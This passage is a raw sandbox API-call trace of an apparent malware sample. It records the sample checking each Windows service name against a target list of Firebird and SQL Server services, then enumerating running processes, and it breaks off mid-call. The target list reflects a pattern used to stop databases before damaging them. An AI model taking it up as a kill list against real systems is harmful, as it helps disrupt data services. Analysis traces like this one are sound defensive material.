lpString2="MpsSvc") returned -1 [0202.074] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0202.074] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0202.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0202.074] lstrlenW (lpString="NcbService") returned 10 [0202.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0202.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0202.074] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0202.074] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0202.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0202.074] lstrlenW (lpString="netprofm") returned 8 [0202.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0202.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0202.074] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0202.074] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0202.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0202.074] lstrlenW (lpString="NgcSvc") returned 6 [0202.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0202.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0202.074] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0202.075] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0202.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0202.075] lstrlenW (lpString="NlaSvc") returned 6 [0202.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0202.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0202.075] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0202.075] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0202.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0202.075] lstrlenW (lpString="nsi") returned 3 [0202.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0202.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0202.075] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0202.075] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0202.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0202.075] lstrlenW (lpString="PcaSvc") returned 6 [0202.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0202.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0202.075] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0202.075] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0202.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0202.075] lstrlenW (lpString="PlugPlay") returned 8 [0202.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0202.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0202.075] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0202.075] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0202.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0202.075] lstrlenW (lpString="Power") returned 5 [0202.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0202.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0202.075] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0202.075] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0202.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0202.075] lstrlenW (lpString="ProfSvc") returned 7 [0202.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0202.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0202.076] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0202.076] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0202.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0202.076] lstrlenW (lpString="RpcEptMapper") returned 12 [0202.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0202.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0202.076] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0202.076] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0202.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0202.076] lstrlenW (lpString="RpcSs") returned 5 [0202.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0202.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0202.076] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0202.076] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0202.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0202.076] lstrlenW (lpString="SamSs") returned 5 [0202.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0202.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0202.076] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0202.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0202.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0202.076] lstrlenW (lpString="Schedule") returned 8 [0202.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0202.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0202.076] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0202.076] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0202.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0202.076] lstrlenW (lpString="SecurityHealthService") returned 21 [0202.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0202.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0202.076] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0202.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0202.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0202.077] lstrlenW (lpString="SENS") returned 4 [0202.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0202.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0202.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0202.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0202.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0202.077] lstrlenW (lpString="ShellHWDetection") returned 16 [0202.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0202.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0202.077] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0202.077] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0202.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0202.077] lstrlenW (lpString="Spooler") returned 7 [0202.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0202.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0202.077] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0202.077] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0202.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0202.077] lstrlenW (lpString="StateRepository") returned 15 [0202.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0202.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0202.077] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0202.077] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0202.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0202.077] lstrlenW (lpString="SysMain") returned 7 [0202.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0202.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0202.077] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0202.077] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0202.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0202.077] lstrlenW (lpString="SystemEventsBroker") returned 18 [0202.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0202.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0202.078] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0202.078] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0202.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0202.078] lstrlenW (lpString="Themes") returned 6 [0202.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0202.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0202.078] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0202.078] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0202.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0202.078] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0202.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0202.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0202.078] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0202.078] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0202.078] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x534 [0202.162] Process32FirstW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.162] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0202.163] lstrlenW (lpString="System") returned 6 [0202.163] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0202.163] lstrlenW (lpString="smss.exe") returned 8 [0202.163] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0202.164] lstrlenW (lpString="csrss.exe") returned 9 [0202.164] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0202.164] lstrlenW (lpString="wininit.exe") returned 11 [0202.164] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0202.165] lstrlenW (lpString="csrss.exe") returned 9 [0202.165] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0202.165] lstrlenW (lpString="winlogon.exe") returned 12 [0202.165] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0202.165] lstrlenW (lpString="services.exe") returned 12 [0202.165] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0202.166] lstrlenW (lpString="lsass.exe") returned 9 [0202.166] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0202.166] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0202.166] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0202.167] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0202.167] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.167] lstrlenW (lpString="svchost.exe") returned 11 [0202.167] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.168] lstrlenW (lpString="svchost.exe") returned 11 [0202.168] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0202.168] lstrlenW (lpString="dwm.exe") returned 7 [0202.168] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.168] lstrlenW (lpString="svchost.exe") returned 11 [0202.169] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.169] lstrlenW (lpString="svchost.exe") returned 11 [0202.169] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.169] lstrlenW (lpString="svchost.exe") returned 11 [0202.169] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.170] lstrlenW (lpString="svchost.exe") returned 11 [0202.170] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.170] lstrlenW (lpString="svchost.exe") returned 11 [0202.170] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.171] lstrlenW (lpString="svchost.exe") returned 11 [0202.171] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.171] lstrlenW (lpString="svchost.exe") returned 11 [0202.171] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.172] lstrlenW (lpString="svchost.exe") returned 11 [0202.172] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.172] lstrlenW (lpString="svchost.exe") returned 11 [0202.172] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.172] lstrlenW (lpString="svchost.exe") returned 11 [0202.173] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0202.173] lstrlenW (lpString="spoolsv.exe") returned 11 [0202.173] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.173] lstrlenW (lpString="svchost.exe") returned 11 [0202.173] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0202.174] lstrlenW (lpString="audiodg.exe") returned 11 [0202.174] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0202.174] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0202.174] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0202.175] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0202.175] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0202.175] lstrlenW (lpString="Memory Compression") returned 18 [0202.175] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0202.176] lstrlenW (lpString="sihost.exe") returned 10 [0202.176] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.176] lstrlenW (lpString="svchost.exe") returned 11 [0202.176] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0202.176] lstrlenW (lpString="taskhostw.exe") returned 13 [0202.177] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0202.177] lstrlenW (lpString="msoia.exe") returned 9 [0202.177] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0202.177] lstrlenW (lpString="explorer.exe") returned 12 [0202.177] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0202.178] lstrlenW (lpString="SearchUI.exe") returned 12 [0202.178] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0202.178] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0202.178] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0202.179] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0202.179] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0202.179] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0202.179] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0202.180] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0202.180] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0202.180] lstrlenW (lpString="cmd.exe") returned 7 [0202.180] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0202.180] lstrlenW (lpString="conhost.exe") returned 11 [0202.181] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0202.181] lstrlenW (lpString="consent.exe") returned 11 [0202.181] Process32NextW 